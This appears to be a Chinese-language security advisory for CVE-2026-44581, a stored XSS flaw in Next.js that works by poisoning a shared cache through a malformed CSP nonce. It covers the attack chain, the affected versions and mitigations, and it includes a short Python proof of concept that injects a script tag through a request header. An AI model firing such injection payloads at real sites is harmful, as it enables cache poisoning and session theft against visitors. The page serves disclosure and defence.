IPBUF安全漏洞报告
English
CVE-2026-44581 CVSS 4.7 中危

CVE-2026-44581 Next.js 存储型XSS漏洞

披露日期: 2026-05-13

漏洞信息

漏洞编号
CVE-2026-44581
漏洞类型
存储型XSS
CVSS评分
4.7 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Next.js

相关标签

XSSNext.jsCache PoisoningCSPWeb Security

漏洞概述

Next.js 在 13.4.0 至 15.5.16 和 16.2.5 之前的版本中存在存储型跨站脚本漏洞。当 App Router 应用依赖 CSP nonce 并部署在共享缓存后端时,畸形 nonce 值会不安全地反射到 HTML 中。攻击者可利用此漏洞毒化缓存响应,导致后续访问者执行恶意脚本。

技术细节

该漏洞源于 Next.js App Router 在处理内容安全策略(CSP)nonce 时的逻辑缺陷。受影响的应用程序通常从请求头派生 nonce 值以增强安全性,但在特定版本中,畸形 nonce 值未经充分清理即被嵌入服务端渲染(SSR)的 HTML 中。由于应用部署在共享缓存(如 CDN)环境,攻击者通过发送特制的畸形请求头,触发服务器渲染包含恶意脚本的响应并将其存储在缓存中。当其他普通用户访问该资源时,将直接从缓存获取被毒化的页面,从而导致存储型 XSS 攻击,窃取凭据或执行恶意操作。

攻击链分析

STEP 1
侦察
攻击者识别出目标网站使用 Next.js 框架,且启用了 App Router 和 CSP nonce,并部署在共享缓存基础设施上。
STEP 2
缓存投毒
攻击者向目标服务器发送特制的 HTTP 请求,其中包含能够导致生成畸形 nonce 的请求头。服务器处理请求并将包含恶意脚本的 HTML 响应存储在共享缓存中。
STEP 3
触发漏洞
当后续的普通用户访问相同的 URL 时,负载均衡器或 CDN 直接返回被攻击者投毒的缓存页面。
STEP 4
执行载荷
受害者的浏览器解析被投毒的 HTML,执行其中注入的恶意 JavaScript 脚本,导致 Cookie 窃取或会话劫持。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # PoC for CVE-2026-44581: Next.js Cache Poisoning via Malformed Nonce # Description: Attempts to inject a malformed nonce header to poison the cache. target_url = "http://vulnerable-nextjs-app.com/api/page" # The attacker sends a request with a header that causes a malformed nonce generation # which is then reflected unsafely in the HTML. malicious_headers = { "User-Agent": "PoC-Client/1.0", "X-Forwarded-Host": "<script>alert(1)</script>", # Example header influencing nonce/logic "Accept-Encoding": "gzip, deflate" } try: print(f"[*] Sending payload to {target_url}...") response = requests.get(target_url, headers=malicious_headers) # Check if the payload is reflected in the response (potential cache poisoning) if "<script>alert(1)</script>" in response.text: print("[+] Potential vulnerability triggered! Payload reflected in response.") print("[+] Cache might be poisoned. Subsequent users may be affected.") else: print("[-] Payload not reflected.") except Exception as e: print(f"Error: {e}")

影响范围

Next.js >= 13.4.0, < 15.5.16
Next.js >= 16.0.0, < 16.2.5

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用共享缓存(如 CDN 缓存)对依赖动态 CSP nonce 的路由的缓存,或者在边缘侧(Edge Middleware)过滤和清理可能导致 nonce 畸形的请求头,确保 nonce 值的生成完全由服务端控制且不受用户输入影响。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表